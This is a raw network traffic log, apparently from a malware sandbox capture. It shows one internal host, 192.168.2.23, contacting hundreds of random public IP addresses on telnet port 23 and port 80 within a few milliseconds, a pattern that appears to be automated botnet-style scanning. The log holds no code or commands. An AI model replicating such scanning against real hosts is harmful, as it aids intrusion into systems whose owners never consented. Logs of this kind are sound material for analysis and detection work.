Feb 4, 2025 18:17:31.382349014 CET	47076	23	192.168.2.23	82.128.194.213
Feb 4, 2025 18:17:31.382349968 CET	47076	23	192.168.2.23	212.245.233.165
Feb 4, 2025 18:17:31.382349968 CET	23	47076	12.32.240.172	192.168.2.23
Feb 4, 2025 18:17:31.382352114 CET	47076	23	192.168.2.23	117.80.246.106
Feb 4, 2025 18:17:31.382354975 CET	23	47076	114.105.204.233	192.168.2.23
Feb 4, 2025 18:17:31.382359982 CET	23	47076	164.168.49.204	192.168.2.23
Feb 4, 2025 18:17:31.382360935 CET	47076	23	192.168.2.23	133.58.173.39
Feb 4, 2025 18:17:31.382364035 CET	23	47076	78.149.36.246	192.168.2.23
Feb 4, 2025 18:17:31.382369041 CET	23	47076	194.241.248.148	192.168.2.23
Feb 4, 2025 18:17:31.382369995 CET	46308	80	192.168.2.23	164.189.189.190
Feb 4, 2025 18:17:31.382371902 CET	47076	23	192.168.2.23	66.231.161.147
Feb 4, 2025 18:17:31.382374048 CET	23	47076	65.1.177.150	192.168.2.23
Feb 4, 2025 18:17:31.382371902 CET	46308	80	192.168.2.23	126.219.17.92
Feb 4, 2025 18:17:31.382378101 CET	23	47076	193.32.145.170	192.168.2.23
Feb 4, 2025 18:17:31.382380009 CET	46308	80	192.168.2.23	160.146.255.73
Feb 4, 2025 18:17:31.382384062 CET	23	47076	25.162.202.110	192.168.2.23
Feb 4, 2025 18:17:31.382381916 CET	47076	23	192.168.2.23	115.252.185.28
Feb 4, 2025 18:17:31.382381916 CET	46308	80	192.168.2.23	140.157.141.251
Feb 4, 2025 18:17:31.382385015 CET	46308	80	192.168.2.23	137.240.215.4
Feb 4, 2025 18:17:31.382381916 CET	46308	80	192.168.2.23	60.236.137.254
Feb 4, 2025 18:17:31.382388115 CET	23	47076	95.53.221.108	192.168.2.23
Feb 4, 2025 18:17:31.382390022 CET	47076	23	192.168.2.23	37.233.137.78
Feb 4, 2025 18:17:31.382392883 CET	23	47076	52.102.102.127	192.168.2.23
Feb 4, 2025 18:17:31.382397890 CET	23	47076	8.5.97.127	192.168.2.23
Feb 4, 2025 18:17:31.382399082 CET	47076	23	192.168.2.23	114.105.204.233
Feb 4, 2025 18:17:31.382399082 CET	47076	23	192.168.2.23	65.1.177.150
Feb 4, 2025 18:17:31.382400036 CET	47076	23	192.168.2.23	78.149.36.246
Feb 4, 2025 18:17:31.382400036 CET	47076	23	192.168.2.23	164.168.49.204
Feb 4, 2025 18:17:31.382402897 CET	23	47076	91.168.93.156	192.168.2.23
Feb 4, 2025 18:17:31.382409096 CET	23	47076	24.182.50.76	192.168.2.23
Feb 4, 2025 18:17:31.382409096 CET	46308	80	192.168.2.23	188.0.2.100
Feb 4, 2025 18:17:31.382414103 CET	23	47076	67.148.16.65	192.168.2.23
Feb 4, 2025 18:17:31.382415056 CET	46308	80	192.168.2.23	25.1.39.157
Feb 4, 2025 18:17:31.382415056 CET	47076	23	192.168.2.23	12.32.240.172
Feb 4, 2025 18:17:31.382417917 CET	46308	80	192.168.2.23	92.95.94.75
Feb 4, 2025 18:17:31.382417917 CET	23	47076	136.157.196.64	192.168.2.23
Feb 4, 2025 18:17:31.382417917 CET	46308	80	192.168.2.23	132.202.62.71
Feb 4, 2025 18:17:31.382417917 CET	47076	23	192.168.2.23	194.241.248.148
Feb 4, 2025 18:17:31.382422924 CET	46308	80	192.168.2.23	191.141.242.26
Feb 4, 2025 18:17:31.382425070 CET	47076	23	192.168.2.23	52.102.102.127
Feb 4, 2025 18:17:31.382425070 CET	46308	80	192.168.2.23	208.180.99.133
Feb 4, 2025 18:17:31.382438898 CET	47076	23	192.168.2.23	8.5.97.127
Feb 4, 2025 18:17:31.382441044 CET	47076	23	192.168.2.23	95.53.221.108
Feb 4, 2025 18:17:31.382441044 CET	47076	23	192.168.2.23	91.168.93.156
Feb 4, 2025 18:17:31.382443905 CET	46308	80	192.168.2.23	119.22.125.232
Feb 4, 2025 18:17:31.382443905 CET	46308	80	192.168.2.23	111.96.93.110
Feb 4, 2025 18:17:31.382443905 CET	47076	23	192.168.2.23	24.182.50.76
Feb 4, 2025 18:17:31.382450104 CET	47076	23	192.168.2.23	67.148.16.65
Feb 4, 2025 18:17:31.382452011 CET	47076	23	192.168.2.23	193.32.145.170
Feb 4, 2025 18:17:31.382452011 CET	47076	23	192.168.2.23	25.162.202.110
Feb 4, 2025 18:17:31.382452011 CET	47076	23	192.168.2.23	136.157.196.64
Feb 4, 2025 18:17:31.382472038 CET	46308	80	192.168.2.23	34.244.16.111
Feb 4, 2025 18:17:31.382481098 CET	46308	80	192.168.2.23	182.200.151.107
Feb 4, 2025 18:17:31.382491112 CET	46308	80	192.168.2.23	181.130.153.71
Feb 4, 2025 18:17:31.382494926 CET	46308	80	192.168.2.23	154.91.158.59
Feb 4, 2025 18:17:31.382498026 CET	46308	80	192.168.2.23	78.36.232.195
Feb 4, 2025 18:17:31.382498026 CET	46308	80	192.168.2.23	221.121.197.28
Feb 4, 2025 18:17:31.382498026 CET	46308	80	192.168.2.23	97.96.32.228
Feb 4, 2025 18:17:31.382503986 CET	46308	80	192.168.2.23	175.158.226.181
Feb 4, 2025 18:17:31.382519007 CET	46308	80	192.168.2.23	138.245.157.81
Feb 4, 2025 18:17:31.382519007 CET	46308	80	192.168.2.23	203.222.206.3
Feb 4, 2025 18:17:31.382519960 CET	46308	80	192.168.2.23	193.66.30.221
Feb 4, 2025 18:17:31.382529020 CET	46308	80	192.168.2.23	60.51.57.145
Feb 4, 2025 18:17:31.382539988 CET	46308	80	192.168.2.23	72.84.235.24
Feb 4, 2025 18:17:31.382544994 CET	46308	80	192.168.2.23	185.197.115.13
Feb 4, 2025 18:17:31.382548094 CET	46308	80	192.168.2.23	202.197.57.207
Feb 4, 2025 18:17:31.382548094 CET	46308	80	192.168.2.23	91.140.228.76
Feb 4, 2025 18:17:31.382549047 CET	46308	80	192.168.2.23	17.127.144.84
Feb 4, 2025 18:17:31.382565975 CET	46308	80	192.168.2.23	109.173.138.181
Feb 4, 2025 18:17:31.382565975 CET	46308	80	192.168.2.23	173.124.118.0
Feb 4, 2025 18:17:31.382565975 CET	46308	80	192.168.2.23	121.232.119.53
Feb 4, 2025 18:17:31.382576942 CET	46308	80	192.168.2.23	58.5.113.220
Feb 4, 2025 18:17:31.382589102 CET	46308	80	192.168.2.23	175.199.79.99
Feb 4, 2025 18:17:31.382590055 CET	46308	80	192.168.2.23	153.161.73.133
Feb 4, 2025 18:17:31.382590055 CET	46308	80	192.168.2.23	112.39.175.44
Feb 4, 2025 18:17:31.382618904 CET	46308	80	192.168.2.23	221.144.63.161
Feb 4, 2025 18:17:31.382637024 CET	46308	80	192.168.2.23	153.180.59.0
Feb 4, 2025 18:17:31.382644892 CET	46308	80	192.168.2.23	165.82.255.155
Feb 4, 2025 18:17:31.382652998 CET	46308	80	192.168.2.23	8.163.53.111
Feb 4, 2025 18:17:31.382652998 CET	46308	80	192.168.2.23	129.130.226.138
Feb 4, 2025 18:17:31.382653952 CET	46308	80	192.168.2.23	69.71.182.241
Feb 4, 2025 18:17:31.382663012 CET	46308	80	192.168.2.23	34.78.84.146
Feb 4, 2025 18:17:31.382663012 CET	46308	80	192.168.2.23	195.2.156.205
Feb 4, 2025 18:17:31.382664919 CET	46308	80	192.168.2.23	160.38.118.59
Feb 4, 2025 18:17:31.382666111 CET	46308	80	192.168.2.23	103.249.121.114
Feb 4, 2025 18:17:31.382672071 CET	46308	80	192.168.2.23	104.140.213.206
Feb 4, 2025 18:17:31.382672071 CET	46308	80	192.168.2.23	119.118.82.2
Feb 4, 2025 18:17:31.382672071 CET	46308	80	192.168.2.23	222.41.119.159
Feb 4, 2025 18:17:31.382674932 CET	46308	80	192.168.2.23	5.208.222.238
Feb 4, 2025 18:17:31.382689953 CET	46308	80	192.168.2.23	78.7.81.42
Feb 4, 2025 18:17:31.382694006 CET	46308	80	192.168.2.23	134.158.73.193
Feb 4, 2025 18:17:31.382698059 CET	46308	80	192.168.2.23	149.148.39.236
Feb 4, 2025 18:17:31.382707119 CET	46308	80	192.168.2.23	20.179.69.24
Feb 4, 2025 18:17:31.382709026 CET	46308	80	192.168.2.23	186.59.207.191
Feb 4, 2025 18:17:31.382720947 CET	46308	80	192.168.2.23	181.122.20.178
Feb 4, 2025 18:17:31.382720947 CET	46308	80	192.168.2.23	135.185.117.193
Feb 4, 2025 18:17:31.382720947 CET	46308	80	192.168.2.23	74.248.136.178
Feb 4, 2025 18:17:31.382723093 CET	46308	80	192.168.2.23	139.49.240.211
Feb 4, 2025 18:17:31.382735014 CET	46308	80	192.168.2.23	120.178.137.66
Feb 4, 2025 18:17:31.382745028 CET	46308	80	192.168.2.23	77.53.230.135
Feb 4, 2025 18:17:31.382745028 CET	46308	80	192.168.2.23	61.254.243.141
Feb 4, 2025 18:17:31.382761955 CET	46308	80	192.168.2.23	32.111.133.175
Feb 4, 2025 18:17:31.382782936 CET	46308	80	192.168.2.23	114.102.246.11
Feb 4, 2025 18:17:31.382785082 CET	46308	80	192.168.2.23	106.194.188.71
Feb 4, 2025 18:17:31.382786036 CET	46308	80	192.168.2.23	178.12.28.13
Feb 4, 2025 18:17:31.382796049 CET	46308	80	192.168.2.23	66.176.132.30
Feb 4, 2025 18:17:31.382797956 CET	46308	80	192.168.2.23	91.115.233.3
Feb 4, 2025 18:17:31.382806063 CET	46308	80	192.168.2.23	70.82.103.211
Feb 4, 2025 18:17:31.382811069 CET	46308	80	192.168.2.23	19.241.126.153
Feb 4, 2025 18:17:31.382824898 CET	46308	80	192.168.2.23	165.94.105.183
Feb 4, 2025 18:17:31.382824898 CET	46308	80	192.168.2.23	122.206.146.204
Feb 4, 2025 18:17:31.382827044 CET	46308	80	192.168.2.23	207.213.158.41
Feb 4, 2025 18:17:31.382831097 CET	46308	80	192.168.2.23	61.47.58.36
Feb 4, 2025 18:17:31.382831097 CET	46308	80	192.168.2.23	94.89.43.214
Feb 4, 2025 18:17:31.382838964 CET	23	47076	123.149.193.65	192.168.2.23
Feb 4, 2025 18:17:31.382853985 CET	23	47076	190.60.46.137	192.168.2.23
Feb 4, 2025 18:17:31.382858038 CET	46308	80	192.168.2.23	85.125.62.240
Feb 4, 2025 18:17:31.382858992 CET	23	47076	145.160.151.27	192.168.2.23
Feb 4, 2025 18:17:31.382858038 CET	46308	80	192.168.2.23	155.106.34.8
Feb 4, 2025 18:17:31.382863045 CET	46308	80	192.168.2.23	187.57.144.83
Feb 4, 2025 18:17:31.382863998 CET	23	47076	103.118.4.34	192.168.2.23
Feb 4, 2025 18:17:31.382863045 CET	46308	80	192.168.2.23	116.56.72.177
Feb 4, 2025 18:17:31.382865906 CET	46308	80	192.168.2.23	71.29.0.88
Feb 4, 2025 18:17:31.382863045 CET	46308	80	192.168.2.23	40.85.214.142
Feb 4, 2025 18:17:31.382867098 CET	46308	80	192.168.2.23	217.86.236.210
Feb 4, 2025 18:17:31.382868052 CET	23	47076	80.41.150.119	192.168.2.23
Feb 4, 2025 18:17:31.382872105 CET	46308	80	192.168.2.23	68.146.139.246
Feb 4, 2025 18:17:31.382873058 CET	23	47076	100.9.33.106	192.168.2.23
Feb 4, 2025 18:17:31.382877111 CET	23	47076	84.77.219.38	192.168.2.23
Feb 4, 2025 18:17:31.382878065 CET	47076	23	192.168.2.23	123.149.193.65
Feb 4, 2025 18:17:31.382882118 CET	23	47076	185.213.214.99	192.168.2.23
Feb 4, 2025 18:17:31.382885933 CET	46308	80	192.168.2.23	120.31.207.226
Feb 4, 2025 18:17:31.382885933 CET	23	47076	167.177.208.147	192.168.2.23
Feb 4, 2025 18:17:31.382899046 CET	23	47076	165.213.111.134	192.168.2.23
Feb 4, 2025 18:17:31.382900000 CET	46308	80	192.168.2.23	193.164.206.186
Feb 4, 2025 18:17:31.382901907 CET	47076	23	192.168.2.23	145.160.151.27
Feb 4, 2025 18:17:31.382904053 CET	47076	23	192.168.2.23	190.60.46.137
Feb 4, 2025 18:17:31.382904053 CET	23	47076	203.235.167.70	192.168.2.23
Feb 4, 2025 18:17:31.382911921 CET	47076	23	192.168.2.23	80.41.150.119
Feb 4, 2025 18:17:31.382913113 CET	47076	23	192.168.2.23	103.118.4.34
Feb 4, 2025 18:17:31.382916927 CET	47076	23	192.168.2.23	100.9.33.106
Feb 4, 2025 18:17:31.382929087 CET	47076	23	192.168.2.23	185.213.214.99
Feb 4, 2025 18:17:31.382929087 CET	47076	23	192.168.2.23	84.77.219.38
Feb 4, 2025 18:17:31.382931948 CET	47076	23	192.168.2.23	167.177.208.147
Feb 4, 2025 18:17:31.382931948 CET	47076	23	192.168.2.23	203.235.167.70
Feb 4, 2025 18:17:31.382941008 CET	47076	23	192.168.2.23	165.213.111.134
Feb 4, 2025 18:17:31.382941008 CET	46308	80	192.168.2.23	197.164.201.101
Feb 4, 2025 18:17:31.382951975 CET	46308	80	192.168.2.23	165.83.32.111
Feb 4, 2025 18:17:31.382951975 CET	46308	80	192.168.2.23	40.102.170.154
Feb 4, 2025 18:17:31.382961035 CET	46308	80	192.168.2.23	149.48.35.137
Feb 4, 2025 18:17:31.382962942 CET	46308	80	192.168.2.23	57.98.200.7
Feb 4, 2025 18:17:31.382966042 CET	46308	80	192.168.2.23	27.80.95.198
Feb 4, 2025 18:17:31.382966042 CET	46308	80	192.168.2.23	219.130.3.45
Feb 4, 2025 18:17:31.382966042 CET	46308	80	192.168.2.23	130.130.64.14
Feb 4, 2025 18:17:31.382981062 CET	46308	80	192.168.2.23	1.5.40.187
Feb 4, 2025 18:17:31.382982016 CET	46308	80	192.168.2.23	141.87.149.3
Feb 4, 2025 18:17:31.382989883 CET	46308	80	192.168.2.23	104.172.122.140
Feb 4, 2025 18:17:31.382993937 CET	46308	80	192.168.2.23	150.19.36.243
Feb 4, 2025 18:17:31.382994890 CET	46308	80	192.168.2.23	46.93.162.22
Feb 4, 2025 18:17:31.382993937 CET	46308	80	192.168.2.23	202.14.183.90
Feb 4, 2025 18:17:31.383007050 CET	46308	80	192.168.2.23	36.114.158.212
Feb 4, 2025 18:17:31.383011103 CET	46308	80	192.168.2.23	84.19.199.134
Feb 4, 2025 18:17:31.383011103 CET	46308	80	192.168.2.23	183.157.183.88
Feb 4, 2025 18:17:31.383011103 CET	46308	80	192.168.2.23	110.100.205.65
Feb 4, 2025 18:17:31.383014917 CET	46308	80	192.168.2.23	191.233.190.245
Feb 4, 2025 18:17:31.383038998 CET	23	47076	155.33.183.125	192.168.2.23
Feb 4, 2025 18:17:31.383039951 CET	46308	80	192.168.2.23	92.43.72.50
Feb 4, 2025 18:17:31.383040905 CET	46308	80	192.168.2.23	117.136.154.59
Feb 4, 2025 18:17:31.383042097 CET	46308	80	192.168.2.23	75.199.68.202
Feb 4, 2025 18:17:31.383042097 CET	46308	80	192.168.2.23	208.147.59.182
Feb 4, 2025 18:17:31.383044004 CET	23	47076	207.64.35.14	192.168.2.23
Feb 4, 2025 18:17:31.383048058 CET	23	47076	116.54.234.178	192.168.2.23
Feb 4, 2025 18:17:31.383053064 CET	23	47076	115.98.107.73	192.168.2.23
Feb 4, 2025 18:17:31.383055925 CET	46308	80	192.168.2.23	147.195.143.70
Feb 4, 2025 18:17:31.383058071 CET	23	47076	146.205.228.204	192.168.2.23
Feb 4, 2025 18:17:31.383061886 CET	23	47076	221.124.143.213	192.168.2.23
Feb 4, 2025 18:17:31.383064032 CET	46308	80	192.168.2.23	40.114.253.42
Feb 4, 2025 18:17:31.383065939 CET	23	47076	164.4.22.53	192.168.2.23
Feb 4, 2025 18:17:31.383066893 CET	46308	80	192.168.2.23	117.201.191.61
Feb 4, 2025 18:17:31.383070946 CET	23	47076	42.53.31.239	192.168.2.23
Feb 4, 2025 18:17:31.383070946 CET	46308	80	192.168.2.23	135.140.139.114
Feb 4, 2025 18:17:31.383075953 CET	23	47076	129.237.56.182	192.168.2.23
Feb 4, 2025 18:17:31.383075953 CET	47076	23	192.168.2.23	207.64.35.14
Feb 4, 2025 18:17:31.383080959 CET	23	47076	160.41.152.203	192.168.2.23
Feb 4, 2025 18:17:31.383086920 CET	47076	23	192.168.2.23	116.54.234.178
Feb 4, 2025 18:17:31.383086920 CET	47076	23	192.168.2.23	115.98.107.73
Feb 4, 2025 18:17:31.383093119 CET	23	47076	36.106.44.133	192.168.2.23
Feb 4, 2025 18:17:31.383095026 CET	47076	23	192.168.2.23	155.33.183.125
Feb 4, 2025 18:17:31.383095980 CET	47076	23	192.168.2.23	146.205.228.204
Feb 4, 2025 18:17:31.383096933 CET	23	47076	32.158.227.88	192.168.2.23
Feb 4, 2025 18:17:31.383101940 CET	23	47076	160.229.190.166	192.168.2.23
Feb 4, 2025 18:17:31.383101940 CET	47076	23	192.168.2.23	221.124.143.213
Feb 4, 2025 18:17:31.383101940 CET	47076	23	192.168.2.23	164.4.22.53
Feb 4, 2025 18:17:31.383101940 CET	47076	23	192.168.2.23	42.53.31.239
Feb 4, 2025 18:17:31.383105993 CET	23	47076	1.6.219.149	192.168.2.23
Feb 4, 2025 18:17:31.383111000 CET	23	47076	48.204.221.201	192.168.2.23
Feb 4, 2025 18:17:31.383111954 CET	47076	23	192.168.2.23	160.41.152.203
Feb 4, 2025 18:17:31.383112907 CET	47076	23	192.168.2.23	129.237.56.182
Feb 4, 2025 18:17:31.383115053 CET	23	47076	175.1.40.35	192.168.2.23
Feb 4, 2025 18:17:31.383120060 CET	23	47076	54.192.23.100	192.168.2.23
Feb 4, 2025 18:17:31.383135080 CET	47076	23	192.168.2.23	160.229.190.166
Feb 4, 2025 18:17:31.383135080 CET	47076	23	192.168.2.23	32.158.227.88
Feb 4, 2025 18:17:31.383136034 CET	47076	23	192.168.2.23	36.106.44.133
Feb 4, 2025 18:17:31.383141041 CET	47076	23	192.168.2.23	1.6.219.149
Feb 4, 2025 18:17:31.383157969 CET	47076	23	192.168.2.23	175.1.40.35
Feb 4, 2025 18:17:31.383161068 CET	47076	23	192.168.2.23	48.204.221.201
Feb 4, 2025 18:17:31.383162975 CET	47076	23	192.168.2.23	54.192.23.100
Feb 4, 2025 18:17:31.383181095 CET	46308	80	192.168.2.23	121.163.96.192
Feb 4, 2025 18:17:31.383181095 CET	46308	80	192.168.2.23	179.2.67.107
Feb 4, 2025 18:17:31.383183956 CET	46308	80	192.168.2.23	57.189.18.20
Feb 4, 2025 18:17:31.383187056 CET	46308	80	192.168.2.23	90.191.25.228
Feb 4, 2025 18:17:31.383196115 CET	46308	80	192.168.2.23	223.26.5.177
Feb 4, 2025 18:17:31.383198023 CET	46308	80	192.168.2.23	40.57.190.64
Feb 4, 2025 18:17:31.383209944 CET	46308	80	192.168.2.23	59.26.146.19
Feb 4, 2025 18:17:31.383219957 CET	46308	80	192.168.2.23	184.123.108.239
Feb 4, 2025 18:17:31.383219957 CET	46308	80	192.168.2.23	131.10.253.110
Feb 4, 2025 18:17:31.383223057 CET	46308	80	192.168.2.23	96.68.217.233
Feb 4, 2025 18:17:31.383224964 CET	46308	80	192.168.2.23	98.17.33.21
Feb 4, 2025 18:17:31.383246899 CET	46308	80	192.168.2.23	135.64.211.67
Feb 4, 2025 18:17:31.383248091 CET	46308	80	192.168.2.23	93.42.230.73
Feb 4, 2025 18:17:31.383248091 CET	46308	80	192.168.2.23	78.121.129.174
Feb 4, 2025 18:17:31.383249044 CET	46308	80	192.168.2.23	196.164.107.157
Feb 4, 2025 18:17:31.383253098 CET	46308	80	192.168.2.23	78.124.216.237
Feb 4, 2025 18:17:31.383270979 CET	46308	80	192.168.2.23	141.206.188.79
Feb 4, 2025 18:17:31.383281946 CET	46308	80	192.168.2.23	180.7.230.9
Feb 4, 2025 18:17:31.383285999 CET	46308	80	192.168.2.23	158.165.78.134
Feb 4, 2025 18:17:31.383287907 CET	46308	80	192.168.2.23	18.203.191.175
Feb 4, 2025 18:17:31.383301973 CET	46308	80	192.168.2.23	64.41.123.171
Feb 4, 2025 18:17:31.383301973 CET	46308	80	192.168.2.23	94.107.158.53
Feb 4, 2025 18:17:31.383304119 CET	46308	80	192.168.2.23	13.145.147.79
Feb 4, 2025 18:17:31.383305073 CET	46308	80	192.168.2.23	43.154.192.31
Feb 4, 2025 18:17:31.383305073 CET	46308	80	192.168.2.23	172.200.109.117
Feb 4, 2025 18:17:31.383305073 CET	46308	80	192.168.2.23	123.153.234.225
Feb 4, 2025 18:17:31.383317947 CET	46308	80	192.168.2.23	37.85.165.15
Feb 4, 2025 18:17:31.383321047 CET	46308	80	192.168.2.23	47.198.113.53
Feb 4, 2025 18:17:31.383321047 CET	46308	80	192.168.2.23	112.47.235.104
Feb 4, 2025 18:17:31.383322001 CET	46308	80	192.168.2.23	88.125.129.168
Feb 4, 2025 18:17:31.383322001 CET	46308	80	192.168.2.23	78.189.197.96
Feb 4, 2025 18:17:31.383325100 CET	46308	80	192.168.2.23	90.219.50.68
Feb 4, 2025 18:17:31.383331060 CET	46308	80	192.168.2.23	19.11.17.141
Feb 4, 2025 18:17:31.383335114 CET	46308	80	192.168.2.23	48.201.15.37
Feb 4, 2025 18:17:31.383335114 CET	46308	80	192.168.2.23	146.32.166.75
Feb 4, 2025 18:17:31.383342028 CET	46308	80	192.168.2.23	202.252.189.59
Feb 4, 2025 18:17:31.383342028 CET	46308	80	192.168.2.23	216.10.213.115
Feb 4, 2025 18:17:31.383349895 CET	46308	80	192.168.2.23	147.228.96.16
Feb 4, 2025 18:17:31.383349895 CET	46308	80	192.168.2.23	179.21.87.14
Feb 4, 2025 18:17:31.383359909 CET	46308	80	192.168.2.23	130.102.201.78
Feb 4, 2025 18:17:31.383364916 CET	46308	80	192.168.2.23	67.47.57.182
Feb 4, 2025 18:17:31.383869886 CET	23	47076	114.209.187.226	192.168.2.23
Feb 4, 2025 18:17:31.383877039 CET	23	47076	103.41.76.141	192.168.2.23
Feb 4, 2025 18:17:31.383881092 CET	23	47076	137.34.39.36	192.168.2.23
Feb 4, 2025 18:17:31.383892059 CET	23	47076	37.1.60.220	192.168.2.23
Feb 4, 2025 18:17:31.383897066 CET	23	47076	169.206.31.6	192.168.2.23
Feb 4, 2025 18:17:31.383900881 CET	23	47076	139.179.30.111	192.168.2.23
Feb 4, 2025 18:17:31.383905888 CET	23	47076	19.86.174.136	192.168.2.23
Feb 4, 2025 18:17:31.383910894 CET	23	47076	177.246.232.250	192.168.2.23
Feb 4, 2025 18:17:31.383914948 CET	23	47076	120.243.90.179	192.168.2.23
Feb 4, 2025 18:17:31.383919954 CET	23	47076	101.144.62.239	192.168.2.23
Feb 4, 2025 18:17:31.383924007 CET	23	47076	175.47.73.237	192.168.2.23
Feb 4, 2025 18:17:31.383924961 CET	47076	23	192.168.2.23	114.209.187.226
Feb 4, 2025 18:17:31.383924961 CET	47076	23	192.168.2.23	103.41.76.141
Feb 4, 2025 18:17:31.383924961 CET	47076	23	192.168.2.23	37.1.60.220
Feb 4, 2025 18:17:31.383928061 CET	23	47076	1.161.119.239	192.168.2.23
Feb 4, 2025 18:17:31.383933067 CET	47076	23	192.168.2.23	169.206.31.6
Feb 4, 2025 18:17:31.383933067 CET	47076	23	192.168.2.23	137.34.39.36
Feb 4, 2025 18:17:31.383943081 CET	47076	23	192.168.2.23	139.179.30.111
Feb 4, 2025 18:17:31.383948088 CET	47076	23	192.168.2.23	19.86.174.136
Feb 4, 2025 18:17:31.383949995 CET	47076	23	192.168.2.23	177.246.232.250
Feb 4, 2025 18:17:31.383949995 CET	47076	23	192.168.2.23	120.243.90.179
Feb 4, 2025 18:17:31.383955956 CET	23	47076	19.75.150.100	192.168.2.23
Feb 4, 2025 18:17:31.383964062 CET	47076	23	192.168.2.23	101.144.62.239
Feb 4, 2025 18:17:31.383964062 CET	23	47076	88.12.48.66	192.168.2.23
Feb 4, 2025 18:17:31.383970022 CET	23	47076	223.13.207.170	192.168.2.23
Feb 4, 2025 18:17:31.383970022 CET	47076	23	192.168.2.23	175.47.73.237
Feb 4, 2025 18:17:31.383974075 CET	23	47076	43.228.165.9	192.168.2.23
Feb 4, 2025 18:17:31.383979082 CET	23	47076	75.211.45.79	192.168.2.23
Feb 4, 2025 18:17:31.383982897 CET	23	47076	130.208.134.159	192.168.2.23
Feb 4, 2025 18:17:31.383987904 CET	47076	23	192.168.2.23	1.161.119.239
Feb 4, 2025 18:17:31.383990049 CET	23	47076	43.139.154.234	192.168.2.23
Feb 4, 2025 18:17:31.384016991 CET	47076	23	192.168.2.23	19.75.150.100
Feb 4, 2025 18:17:31.384016991 CET	47076	23	192.168.2.23	88.12.48.66
Feb 4, 2025 18:17:31.384016991 CET	47076	23	192.168.2.23	223.13.207.170
Feb 4, 2025 18:17:31.384016991 CET	47076	23	192.168.2.23	75.211.45.79
Feb 4, 2025 18:17:31.384038925 CET	47076	23	192.168.2.23	130.208.134.159
Feb 4, 2025 18:17:31.384038925 CET	47076	23	192.168.2.23	43.139.154.234
Feb 4, 2025 18:17:31.384057999 CET	47076	23	192.168.2.23	43.228.165.9
Feb 4, 2025 18:17:31.384217024 CET	23	47076	191.52.165.98	192.168.2.23
Feb 4, 2025 18:17:31.384222984 CET	23	47076	141.70.234.200	192.168.2.23
Feb 4, 2025 18:17:31.384227037 CET	23	47076	105.43.3.221	192.168.2.23
Feb 4, 2025 18:17:31.384231091 CET	23	47076	100.233.165.30	192.168.2.23
Feb 4, 2025 18:17:31.384236097 CET	23	47076	101.234.62.113	192.168.2.23
Feb 4, 2025 18:17:31.384239912 CET	23	47076	61.162.138.233	192.168.2.23
Feb 4, 2025 18:17:31.384249926 CET	23	47076	1.155.249.102	192.168.2.23
Feb 4, 2025 18:17:31.384255886 CET	23	47076	47.92.233.185	192.168.2.23
Feb 4, 2025 18:17:31.384260893 CET	23	47076	61.198.9.189	192.168.2.23
Feb 4, 2025 18:17:31.384269953 CET	47076	23	192.168.2.23	141.70.234.200
Feb 4, 2025 18:17:31.384274006 CET	47076	23	192.168.2.23	191.52.165.98
Feb 4, 2025 18:17:31.384274006 CET	47076	23	192.168.2.23	105.43.3.221
Feb 4, 2025 18:17:31.384288073 CET	47076	23	192.168.2.23	61.198.9.189
Feb 4, 2025 18:17:31.384293079 CET	47076	23	192.168.2.23	101.234.62.113
Feb 4, 2025 18:17:31.384294987 CET	47076	23	192.168.2.23	100.233.165.30
Feb 4, 2025 18:17:31.384294987 CET	47076	23	192.168.2.23	61.162.138.233
Feb 4, 2025 18:17:31.384305954 CET	47076	23	192.168.2.23	47.92.233.185
Feb 4, 2025 18:17:31.384308100 CET	47076	23	192.168.2.23	1.155.249.102
Feb 4, 2025 18:17:31.384732962 CET	23	47076	89.158.245.86	192.168.2.23
Feb 4, 2025 18:17:31.384738922 CET	23	47076	180.118.49.204	192.168.2.23
Feb 4, 2025 18:17:31.384743929 CET	23	47076	18.85.10.59	192.168.2.23
Feb 4, 2025 18:17:31.384747982 CET	23	47076	111.98.109.249	192.168.2.23
Feb 4, 2025 18:17:31.384752989 CET	23	47076	137.36.235.82	192.168.2.23
Feb 4, 2025 18:17:31.384757042 CET	23	47076	118.158.126.1	192.168.2.23
Feb 4, 2025 18:17:31.384761095 CET	23	47076	1.182.97.136	192.168.2.23
Feb 4, 2025 18:17:31.384768009 CET	47076	23	192.168.2.23	180.118.49.204
Feb 4, 2025 18:17:31.384776115 CET	23	47076	113.79.6.51	192.168.2.23
Feb 4, 2025 18:17:31.384777069 CET	47076	23	192.168.2.23	89.158.245.86
Feb 4, 2025 18:17:31.384780884 CET	23	47076	120.236.205.192	192.168.2.23
Feb 4, 2025 18:17:31.384785891 CET	23	47076	213.94.26.64	192.168.2.23
Feb 4, 2025 18:17:31.384785891 CET	47076	23	192.168.2.23	111.98.109.249
Feb 4, 2025 18:17:31.384789944 CET	47076	23	192.168.2.23	18.85.10.59
Feb 4, 2025 18:17:31.384790897 CET	23	47076	65.147.33.183	192.168.2.23
Feb 4, 2025 18:17:31.384793043 CET	47076	23	192.168.2.23	1.182.97.136
Feb 4, 2025 18:17:31.384789944 CET	47076	23	192.168.2.23	137.36.235.82
Feb 4, 2025 18:17:31.384799957 CET	23	47076	119.23.45.83	192.168.2.23
Feb 4, 2025 18:17:31.384804964 CET	47076	23	192.168.2.23	113.79.6.51
Feb 4, 2025 18:17:31.384805918 CET	23	47076	153.122.109.20	192.168.2.23
Feb 4, 2025 18:17:31.384807110 CET	47076	23	192.168.2.23	118.158.126.1
Feb 4, 2025 18:17:31.384808064 CET	47076	23	192.168.2.23	120.236.205.192
Feb 4, 2025 18:17:31.384809971 CET	23	47076	213.192.155.36	192.168.2.23
Feb 4, 2025 18:17:31.384814978 CET	23	47076	212.32.211.156	192.168.2.23
Feb 4, 2025 18:17:31.384819984 CET	23	47076	32.38.184.77	192.168.2.23
Feb 4, 2025 18:17:31.384824038 CET	23	47076	114.181.133.118	192.168.2.23
Feb 4, 2025 18:17:31.384829044 CET	23	47076	62.228.206.19	192.168.2.23
Feb 4, 2025 18:17:31.384833097 CET	23	47076	112.122.129.59	192.168.2.23
Feb 4, 2025 18:17:31.384836912 CET	23	47076	200.188.168.239	192.168.2.23
Feb 4, 2025 18:17:31.384838104 CET	47076	23	192.168.2.23	65.147.33.183
Feb 4, 2025 18:17:31.384840965 CET	23	47076	114.137.34.151	192.168.2.23
Feb 4, 2025 18:17:31.384845018 CET	47076	23	192.168.2.23	213.94.26.64
Feb 4, 2025 18:17:31.384845018 CET	47076	23	192.168.2.23	119.23.45.83
Feb 4, 2025 18:17:31.384845972 CET	23	47076	112.55.97.54	192.168.2.23
Feb 4, 2025 18:17:31.384849072 CET	47076	23	192.168.2.23	153.122.109.20
Feb 4, 2025 18:17:31.384849072 CET	47076	23	192.168.2.23	213.192.155.36
